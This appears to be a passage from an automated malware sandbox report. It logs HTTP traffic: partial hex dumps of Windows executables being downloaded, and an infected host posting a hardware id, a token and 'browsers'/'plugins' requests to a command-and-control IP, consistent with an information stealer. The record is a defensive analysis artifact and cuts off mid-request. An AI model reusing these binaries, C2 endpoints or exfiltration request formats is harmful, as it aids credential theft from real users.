00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 18 Nov 2024 14:17:08 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 18 Nov 2024 14:17:12 GMTContent-Type: application/octet-streamContent-Length: 1922048Last-Modified: Mon, 18 Nov 2024 14:01:13 GMTConnection: keep-aliveETag: "673b48a9-1d5400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 c0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 4b 00 00 04 00 00 46 42 1e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 48 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f4 a3 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a4 a3 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 48 04 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 2a 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 6a 6b 6b 74 71 72 66 00 40 1a 00 00 70 31 00 00 38 1a 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 6d 6f 71 6a 65 74 65 00 10 00 00 00 b0 4b 00 00 04 00 00 00 2e 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 c0 4b 00 00 22 00 00 00 32 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 18 Nov 2024 14:18:09 GMTContent-Type: application/octet-streamContent-Length: 4385792Last-Modified: Mon, 18 Nov 2024 12:48:19 GMTConnection: keep-aliveETag: "673b3793-42ec00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 a7 ca 39 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 d4 48 00 00 ee 67 00 00 32 00 00 00 d0 b8 00 00 10 00 00 00 f0 48 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 b9 00 00 04 00 00 45 d4 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 70 65 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a4 b2 b8 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 54 b2 b8 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 50 65 00 00 10 00 00 00 6c 27 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 60 65 00 00 00 00 00 00 7c 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 70 65 00 00 02 00 00 00 7c 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 f0 37 00 00 80 65 00 00 02 00 00 00 7e 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 68 74 79 74 6e 64 70 68 00 50 1b 00 00 70 9d 00 00 44 1b 00 00 80 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 6f 77 7a 65 69 6c 65 00 10 00 00 00 c0 b8 00 00 06 00 00 00 c4 42 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 d0 b8 00 00 22 00 00 00 ca 42 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 18 Nov 2024 14:18:20 GMTContent-Type: application/octet-streamContent-Length: 1894400Last-Modified: Mon, 18 Nov 2024 14:00:59 GMTConnection: keep-aliveETag: "673b489b-1ce800"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 b3 bf 37 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 44 04 00 00 be 00 00 00 00 00 00 00 90 4b 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 4b 00 00 04 00 00 44 26 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c c0 05 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 c1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 a0 05 00 00 10 00 00 00 78 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 b0 05 00 00 00 00 00 00 88 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 c0 05 00 00 02 00 00 00 88 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 70 2b 00 00 d0 05 00 00 02 00 00 00 8a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 66 71 71 6e 68 74 66 00 40 1a 00 00 40 31 00 00 36 1a 00 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 68 73 77 76 62 68 71 66 00 10 00 00 00 80 4b 00 00 04 00 00 00 c2 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 90 4b 00 00 22 00 00 00 c6 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 18 Nov 2024 14:18:31 GMTContent-Type: application/octet-streamContent-Length: 1808384Last-Modified: Mon, 18 Nov 2024 14:01:06 GMTConnection: keep-aliveETag: "673b48a2-1b9800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 22 01 00 00 00 00 00 00 40 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 69 00 00 04 00 00 16 c3 1b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 62 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 a0 24 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 70 2a 00 00 c0 24 00 00 02 00 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 78 68 63 61 66 6b 65 00 00 1a 00 00 30 4f 00 00 fa 19 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 66 65 76 79 77 6d 67 00 10 00 00 00 30 69 00 00 04 00 00 00 72 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 40 69 00 00 22 00 00 00 76 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFIDGDAKFHIEHJKFHDHDHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 48 44 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 41 46 44 31 38 35 46 31 33 43 34 32 35 33 38 31 37 36 37 36 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 48 44 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 48 44 48 44 2d 2d 0d 0a Data Ascii: ------BFIDGDAKFHIEHJKFHDHDContent-Disposition: form-data; name="hwid"7AFD185F13C4253817676------BFIDGDAKFHIEHJKFHDHDContent-Disposition: form-data; name="build"mars------BFIDGDAKFHIEHJKFHDHD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHDHJJJECFIECBGDGCAAHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 44 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 30 34 64 63 33 61 64 37 32 63 66 35 65 61 31 33 62 31 64 32 63 61 34 65 63 38 65 34 30 30 32 34 63 66 61 30 32 62 36 34 33 63 32 37 32 32 38 33 65 63 36 38 63 66 63 61 62 64 34 62 33 38 33 39 37 33 39 33 34 63 35 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 2d 2d 0d 0a Data Ascii: ------DHDHJJJECFIECBGDGCAAContent-Disposition: form-data; name="token"804dc3ad72cf5ea13b1d2ca4ec8e40024cfa02b643c272283ec68cfcabd4b383973934c5------DHDHJJJECFIECBGDGCAAContent-Disposition: form-data; name="message"browsers------DHDHJJJECFIECBGDGCAA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFIECBFIDGDAKFHIEHJKHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 30 34 64 63 33 61 64 37 32 63 66 35 65 61 31 33 62 31 64 32 63 61 34 65 63 38 65 34 30 30 32 34 63 66 61 30 32 62 36 34 33 63 32 37 32 32 38 33 65 63 36 38 63 66 63 61 62 64 34 62 33 38 33 39 37 33 39 33 34 63 35 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 2d 2d 0d 0a Data Ascii: ------CFIECBFIDGDAKFHIEHJKContent-Disposition: form-data; name="token"804dc3ad72cf5ea13b1d2ca4ec8e40024cfa02b643c272283ec68cfcabd4b383973934c5------CFIECBFIDGDAKFHIEHJKContent-Disposition: form-data; name="message"plugins------CFIECBFIDGDAKFHIEHJK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFBAFBKEGCFBGCBFIDAKHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 42 41 46 42 4b 45 47 43 46 42 47 43 42 46 49 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 30 34 64 63 33 61 64 37 32 63 66 35 65 61 31 33 62 31 64 32 63 61 34 65 63 38 65 34 30 30 32 34 63 66 61 30 32 62 36 34 33 63 32 37 32 32 38 33 65 63 36 38 63 66 63 61 62 64 34 62 33 38 33 39 37 33 39 33 34 63 35 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 41 46 42 4b 45 47 43 46 42 47 43 42 46 49 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 41 46 42 4b 45 47 43 46 42 47 43 42 46 49 44 41 4b 2d 2d 0d 0a Data Ascii: ------AFBAFBKEGCFBGCBFIDAKContent-Disposition: form-data; name="token"804dc3ad72cf5ea13b1d2ca4ec8e40024cfa02b643c272283ec68cfcabd4b383973934c5------AFBAFBKEGCFBGCBFIDAKContent-Disposition: form-data; name="message"fplugins------AFBAFBKEGCFBGCBFIDAK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJECFIECBGDGCAAAEHIEHost: 185.215.113.206Content-Length: 5147Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKFCBFHJDHJKECAKEHIDHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 46 43 42 46 48 4a 44 48 4a 4b 45 43 41 4b 45 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 30 34 64 63 33 61 64 37 32 63 66 35 65 61 31 33 62 31 64 32 63 61 34 65 63 38 65 34 30 30 32 34 63 66 61 30 32 62 36 34 33 63 32 37 32 32 38 33 65 63 36 38 63 66 63 61 62 64 34 62 33 38 33 39 37 33 39 33 34 63 35 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 43 42 46 48 4a 44 48 4a 4b 45 43 41 4b 